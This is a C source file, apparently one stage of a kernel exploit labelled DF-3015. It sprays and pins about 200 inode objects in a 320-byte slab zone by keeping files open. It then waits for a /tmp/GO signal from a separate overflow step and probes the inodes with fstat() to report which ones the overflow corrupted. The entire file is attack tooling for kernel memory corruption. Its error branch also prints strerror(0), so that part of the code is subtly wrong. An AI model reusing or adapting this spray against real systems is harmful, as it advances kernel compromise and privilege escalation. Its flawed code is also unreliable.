DF-3015 / spray3015.c
/* * DF-3015 spray — pin N struct-inode objects in the 320-byte slab zone. * Keeps fds open so vnodes/inodes stay live, then (after the overflow, * signalled by /tmp/GO) fstats them to display corrupted in-memory * metadata (st_ino / st_nlink from i_number / i_effnlink). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #define NFILES 200 int main(void) { int fds[NFILES]; int n = 0, i, bad = 0; char path[256]; for (i = 0; i < NFILES; i++) { snprintf(path, sizeof(path), "/mnt/hold/f%03d", i); fds[n] = open(path, O_RDWR | O_CREAT, 0644); if (fds[n] >= 0) n++; } printf("[spray] %d inodes pinned (fds open)\n", n); fflush(stdout); while (access("/tmp/GO", F_OK) != 0) usleep(50000); printf("[spray] overflow signalled; probing own fds via fstat()\n"); fflush(stdout); for (i = 0; i < n; i++) { struct stat st; if (fstat(fds[i], &st) == 0) { if ((unsigned long long)st.st_ino > 1000000ULL || (unsigned)st.st_nlink > 1000) { printf("[spray] CORRUPT f%03d fd=%d ino=%llx " "nlink=%u size=%lld\n", i, fds[i], (unsigned long long)st.st_ino, (unsigned)st.st_nlink, (long long)st.st_size); bad++; } } else { printf("[spray] fstat fd=%d FAILED: %s\n", fds[i], strerror(0)); bad++; } } printf("[spray] %d/%d inodes corrupted\n", bad, n); fflush(stdout); unlink("/tmp/GO2"); pause(); return (0); } |